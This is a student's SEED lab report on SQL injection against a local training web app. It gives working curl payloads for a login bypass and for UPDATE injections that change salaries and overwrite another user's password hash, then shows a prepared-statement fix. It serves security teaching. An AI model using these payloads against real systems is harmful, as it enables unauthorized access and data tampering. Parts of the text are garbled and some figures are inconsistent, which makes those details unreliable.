

SQL Injection Attack Project SEEDS

Name: Krish Puwar

Task 1: Get Familiar with SQL Statements

```
mysql> select * from credential where name = 'Alice';
```

ID	Name	EID	Salary	birth	SSN	PhoneNumber	Address	Email	NickName	Password
1	Alice	10000	20000	9/20	10211002					fdbe918bdae83000aa54747fc95fe0470fff4976

```
1 row in set (0.02 sec)
```

Ran the command:-

Select * from credential where name = 'Alice'

Task 2: SQL Injection Attack on SELECT Statement

Task 2.1: SQL Injection Attack from webpage.

I couldn't use the gui web dashboard as I am on ARM Mac OS and Vmware fusion doesn't support ubuntu gui due to which I couldn't access. I did find a way around for lab 1 via VNC and connecting to my vm but that didn't help me with opening the web browser too I even tried X11 forwarding but wasn't any help so therefore for this attack I just used the curl command.

```

seeds@seedsvm:~/Documents/sql_injection/Labsetup-arm$ curl "www.seed-server.com/unsafe_home.php?username=admin%27%20%23&Password=x"
<!--
SEED Lab: SQL Injection Education Web platform
Author: Kailliang Ying
Email: kying@syr.edu
-->

<!--
SEED Lab: SQL Injection Education Web platform
Enhancement Version 1
Date: 12th April 2018
Developer: Kuber Kohli

Update: Implemented the new bootstrap design. Implemented a new Navbar at the top with two menu options for Home and edit profile, with a button to
logout. The profile details fetched will be displayed using the table class of bootstrap with a dark table head theme.

NOTE: please note that the navbar items should appear only for users and the page with error login message should not have any of these items at
all. Therefore the navbar tag starts before the php tag but it end within the php script adding items as required.
-->

<!DOCTYPE html>
<html lang="en">
<head>
  <!-- Required meta tags -->
  <meta charset="utf-8">
  <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">

  <!-- Bootstrap CSS -->
  <link rel="stylesheet" href="css/bootstrap.min.css">

```

Task 2.2: SQL Injection Attack from command line.

```

seeds@seedsvm:~/Documents/sql_injection/Labsetup$ curl "www.seed-server.com/unsafe_home.php?username=admin%27%20%23&Password=x"
<!--
SEED Lab: SQL Injection Education Web platform
Author: Kailliang Ying
Email: kying@syr.edu
-->

<!--
SEED Lab: SQL Injection Education Web platform
Enhancement Version 1
Date: 12th April 2018
Developer: Kuber Kohli

```

Since the backend php code takes sql input_name as user input I used '#' as a username and supplied and was successfully able to login into the web page.

%27 = ' for single quotes

%20 = space

%23 = # comments out everything after it in mysql.

This transforms the backend's original query:

WHERE name='\$input_uname' and Password='\$hashed_pwd'

into:

WHERE name='admin' #' and Password='<hash>'

Since # comments everything after it, the password check is never evaluated. And it becomes more of sql query of when name = 'admin'

Result was it returned a full employee table in html and it shows the EID , salary, birthday , SSN.

Task 2.3: Append a new SQL statement.

```
NOTE: please note that the navbar items should appear only for users and the page with error login message should not have any of these items at all. Therefore the navbar tag starts before the php tag but it ends within the php script adding items as required.
```

```
<-->
```

```
<!DOCTYPE html>  
<html lang=en">  
    <head>  
        <!-- Required meta tags -->  
        <meta charset=utf-8">  
        <meta name=viewport content=device-width, initial-scale=1, shrink-to-fit=no">  
  
        <!-- Bootstrap CSS -->  
        <link relstylesheet href=css/bootstrap.min.css">  
        <link href=css/style_home.css type=text/css relstylesheet">  
  
        <!-- Browser Tab title -->  
        <titleSQLi LabC/titled>  
    </head>  
    <body>  
        <naw class=navbar fixed-top navbar-expand-lg navbar-light stylebackground-color: #9EA6B5;">  
            <div classcollapse navbar-collapse id=navbarToggleContent">  
                <a class=navbar-brand hrefunsafe_home.php">x<img srcseed_logo.png styleheight: 40px; width: 200px;" alt=SEEDLab/><a />  
  
                </div><nav>  
                    <div classcontainer text-center">there was an error running the query (You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near %S  
LECT 1";' and Password='1f6ad8ec52a2984abaf7c3b5168d38785e2072'' at line 3)</div></naw>  

```

Command:

```
curl www.seedserver.com/unsafe\_home.php?username=admin%27%3B%20SELECT%201%3B%20%23&Password=x
```

```
%27 = ' closes the string literal
%3B = ; attempts to terminate the first SQL statement so a second can begin
%20 = space
SELECT%201 = a harmless second statement, used here only to test whether stacked queries are
possible
%23 = # commenting out
```

But the attack failed the server returned a warning statement as 2 query's are not allowed `mysql::query()`, and no employee data was returned.

As the backend `$result = $conn->query($sql);` uses that to run the code and it is restricted by the mysqli PHP extension to execute only a single SQL statement per call. If it detects additional SQL after a semicolon, it refuses to execute anything beyond the first statement

Task 3: SQL Injection Attack on UPDATE Statement

Task 3.1: Modify your own salary.

First login as user Alice and save the session cookie

```
curl -c cookies.txt www.seed-server.com/unsafe\_home.php?username=Alice&Password=seedalice
```

Injection

```
Curl-b cookies.txt  
www.seed-server.com/unsafe\_edit\_backend.php?nickname=hacker%27%2C%20salary%3D%271000000&email=alice@test.com&address=NYC&Password=seedalice&phonenum=1234567890
```

I update the salary as hacker to 1000000

`%27 = ' closes the string literal`

`%2C = , separates the injected field from the next column in the set clause`

`%20 = space`

`salary%3D%271000000 = salary='1000000 , a new column assignment appended to the set clause`

When substituted into the query:

```
UPDATE credential SET  
  nickname='hacker', salary='1000000',  
  email='alice@test.com',  
  address='NYC',  
  Password='<hash of seedalice>',  
  PhoneNumber='1234567890'  
WHERE ID=10000;
```

```
Update: The password was stored in the session was updated when password is changed.
-->

<!DOCTYPE html>
<html>
<body>
```

```
mysql>
mysql> SELECT Name, Salary FROM credential WHERE Name='Alice';
+-----+-----+
| Name | Salary |
+-----+-----+
| Alice | 100000 |
+-----+-----+
1 row in set (0.01 sec)
```

Alice's salary changed from 20,000 to 100,000.

Task 3.2: Modify other people's salary.

I am still logged in as Alice.

```
Curl -b cookies.txt
www.seed-server.com/unsafe_edit_backend.php?NickName=x%27%2C%20salary%3D%27%27%20W
HERE%20Name%3D%27Boby%27%20%23&Email=alice@test.com&Address=NYC&Password=seeda
lice&PhoneNumber=1234567890
```

Initially boby's salary was 50,000

%27 = ' closes the string literal

%2C = , separates the injected field from the next column in the SET clause

%20 = space

salary%3D%27%27 = salary='1' — a new column assignment overriding the original salary

WHERE%20Name%3D%27Boby%27 = WHERE Name='Boby' — a second WHERE clause targeting a different row

%23 = # comments out the remainder of the original query (the real WHERE ID=... clause)

It runs the sql query

UPDATE credential SET nickname='x', salary='1' WHERE Name='Boby'

Even though I am logged in as alice due to the where clause and updating the boby's salary.

```
mysql>
mysql> SELECT Name, Salary FROM credential WHERE Name='Boby';
+-----+-----+
| Name | Salary |
+-----+-----+
| Boby |      1 |
+-----+-----+
1 row in set (0.00 sec)

mysql>
```

Task 3.3: Modify other people's password.

```
[seeds@seedsvm:~$  
[seeds@seedsvm:~$ echo -n "hackedbob" | sha1sum  
4613b31757cbe447d7f33982c42c66cc96df71a5 -  
seeds@seedsvm:~$
```

Create a SHA1 hash for the new password and plain text is “hackedbob” as if not hashed the login attempt would fail.

```
curl -b cookies.txt  
www.seed-server.com/unsafe_edit_backend.php?NickName=x%27%2C%20Password%3D%274613b317  
57cbe447d7f33982c42c66cc96df71a5%27%20WHERE%20Name%3D%27Boby%27%20%23&Email=a  
lice@test.com&Address=NYC&Password=seedalice&PhoneNumber=1234567890
```

%27 = ' closes the string literal

%2C = , separates the injected field from the next column in the set clause

%20 = space

Password%3D%274613b31757cbe447d7f33982c42c66cc96df71a5%27 =

Password='4613b31757cbe447d7f33982c42c66cc96df71a5' — overwrites Bobby's stored password hash directly

WHERE%20Name%3D%27Boby%27 = where name ='Boby' and now retargets to update Bobby's row

%23 = # comments out the remainder of the original query (the real WHERE ID=... clause)

The sql query becomes:

```
UPDATE credential SET nickname='x', Password='4613b31757cbe447d7f33982c42c66cc96df71a5'  
WHERE Name='Boby'
```

When checked in the database it outputs the new password successfully.

```
[mysql>  
[mysql> SELECT Name, Password FROM credential WHERE Name='Boby';  
+-----+-----+  
| Name | Password |  
+-----+-----+  
| Boby | 4613b31757cbe447d7f33982c42c66cc96df71a5 |  
+-----+-----+  
1 row in set (0.01 sec)  
  
mysql>
```

Login in

```
seed@seedvm:~$ curl "www.seed-server.com/unsafe_home.php?username=Boby&Password=hackedbob"
<!--
SEED Lab: SQL Injection Education Web platform
Author: Kallang King
Email: kying@kayr.edu
-->

<!--
SEED Lab: SQL Injection Education Web platform
Enhancement Version 1
Date: 12th April 2018
Developer: Kuber Kohli
-->

Update: Implemented the new bootstrap design. Implemented a new Navbar at the top with two menu options for Home and edit profile, with a button to
logout. The profile details fetched will be displayed using the table class of Bootstrap with a dark table head theme.

NOTE: please note that the navbar items should appear only for users and the page with error login message should not have any of these items at
all. Therefore the navbar tag starts before the php tag but it ends within the php script adding items as required.
-->

<!DOCTYPE html>
<html lang="en">
<head>
<!-- Required meta tags -->
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">

<!-- Bootstrap CSS -->
<link rel="stylesheet" href="css/bootstrap.min.css">
<link href="css/style_home.css" type="text/css" rel="stylesheet">

<!-- Browser Tab title -->
<title>SQL Lab</title>
</head>
<body>
<nav class="navbar fixed-top navbar-expand-lg navbar-light" style="background-color: #34495e;">
<div class="collapse navbar-collapse" id="navbarTogglerDemo01">
<a class="navbar-brand" href="unsafe_home.php"></a>
<ul class="navbar-nav mr-auto mt-2 mt-lg-0" style="padding-left: 30px;"><li class="nav-item active"><a class="nav-link" href="unsafe_home.php">Home <span class="sr-only">(current) </span></a></li><li class="nav-item"><a class="nav-link" href="un
safe_edit_profile.php?edit_Profile=/>Edit Profile</a></li></ul><button onclick="logout()" type="button" id="logoutBtn" class="nav-link my-2 my-lg-0">Logout</button></div></nav><div class="container col-lg-4 col-md-offset-4 text-center"><div><h1>Bob Profile </
h1></div><table class="table table-striped table-bordered"><thead class="thead-dark"><tr><th scope="col">Key</th><th scope="col">Value</th></tr></thead><tr><th scope="row">Employee ID</th><td>200006</td></tr><tr><th scope="row">Salary</th><td>1
</td></tr><tr><th scope="row">Birth</th><td>4/28</td></tr><tr><th scope="row">SSN</th><td>18213352</td></tr><tr><th scope="row">NickName</th><td>x</td></tr><tr><th scope="row">Email</th><td>c</td></tr><tr><th scope="row">Address</th><td>c</td></tr><tr>
<th scope="row">Phone Number</th><td>c</td></tr></table> <div><div>
<div class="text-center">
<p>
Copyright ©2018; SEED LABS
</p>
</div>
</div>
<script type="text/javascript">
function logout() {
location.href = "logout.php";
}
</script>
</body>
</html>
seed@seedvm:~$
```

```

<!--
<!DOCTYPE html>
<html lang="en">
<head>
<!-- Required meta tags -->
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">

<!-- Bootstrap CSS -->
<link rel="stylesheet" href="css/bootstrap.min.css">
<link href="css/style_home.css" type="text/css" rel="stylesheet">

<!-- Browser Tab title -->
<title>SQL Lab</title>
</head>
<body>
<nav class="navbar fixed-top navbar-expand-lg navbar-light" style="background-color: #34495e;">
<div class="collapse navbar-collapse" id="navbarTogglerDemo01">
<a class="navbar-brand" href="unsafe_home.php"></a>
<ul class="navbar-nav mr-auto mt-2 mt-lg-0" style="padding-left: 30px;"><li class="nav-item active"><a class="nav-link" href="unsafe_home.php">Home <span class="sr-only">(current) </span></a></li><li class="nav-item"><a class="nav-link" href="un
safe_edit_profile.php?edit_Profile=/>Edit Profile</a></li></ul><button onclick="logout()" type="button" id="logoutBtn" class="nav-link my-2 my-lg-0">Logout</button></div></nav><div class="container col-lg-4 col-md-offset-4 text-center"><div><h1>Bob Profile </
h1></div><table class="table table-striped table-bordered"><thead class="thead-dark"><tr><th scope="col">Key</th><th scope="col">Value</th></tr></thead><tr><th scope="row">Employee ID</th><td>200006</td></tr><tr><th scope="row">Salary</th><td>1
</td></tr><tr><th scope="row">Birth</th><td>4/28</td></tr><tr><th scope="row">SSN</th><td>18213352</td></tr><tr><th scope="row">NickName</th><td>x</td></tr><tr><th scope="row">Email</th><td>c</td></tr><tr><th scope="row">Address</th><td>c</td></tr><tr>
<th scope="row">Phone Number</th><td>c</td></tr></table> <div><div>
<div class="text-center">
<p>
Copyright ©2018; SEED LABS
</p>
</div>
</div>
<script type="text/javascript">
function logout() {
location.href = "logout.php";
}
</script>
</body>
</html>
seed@seedvm:~$
```

Proof that I can login with bobys new hacked password and it work .

Task 4: Countermeasure — Prepared Statement

Changes from original code using prepare statement

Now the vulnerbilities are fixed as the database gets a precompiled template with user and password as '?' placeholders instead of actual values.

The acutal values are bind_param() and sent to the database as data and not a sql syntax and the litteral characters will be search and not act as a sql syntax.

```

<?php
// Function to create a sql connection.
function getDB() {
    $dbhost="10.9.0.6";
    $dbuser="seed";
    $dbpass="dees";
    $dbname="sqllab_users";

    // Create a DB connection
    $conn = new mysqli($dbhost, $dbuser, $dbpass, $dbname);
    if ($conn->connect_error) {
        die("Connection failed: " . $conn->connect_error . "\n");
    }
    return $conn;
}

```

I can't login with a random username and password anymore now

```
seeds@seedsvm:~$ curl "www.seed-server.com/defense/getinfo.php?username=admin%27%20%23&Password=x"
<!DOCTYPE html>
<html lang="en">
<head>
  <!-- Required meta tags -->
  <meta charset="utf-8">
  <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">

  <!-- Bootstrap CSS -->
  <link rel="stylesheet" href="../../css/bootstrap.min.css">
  <link href="style_home.css" type="text/css" rel="stylesheet">

  <!-- Browser Tab title -->
  <title>SQLi Lab</title>
</head>
<body>
  <nav class="navbar fixed-top navbar-expand-lg navbar-light" style="background-color: #3EA055;">
    <div class="collapse navbar-collapse" id="navbarTogglerDemo01">
      </a>
    </div>
  </nav>
  <div class="container">
    <h2>Information returned from the database</h2>
    <ul>
      <li>ID: <b></b></li>
      <li>Name: <b></b></li>
      <li>EID: <b></b></li>
      <li>Salary: <b></b></li>
      <li>Social Security Number: <b></b></li>
    </ul>
  </div>
</body>
</html>
seeds@seedsvm:~$
```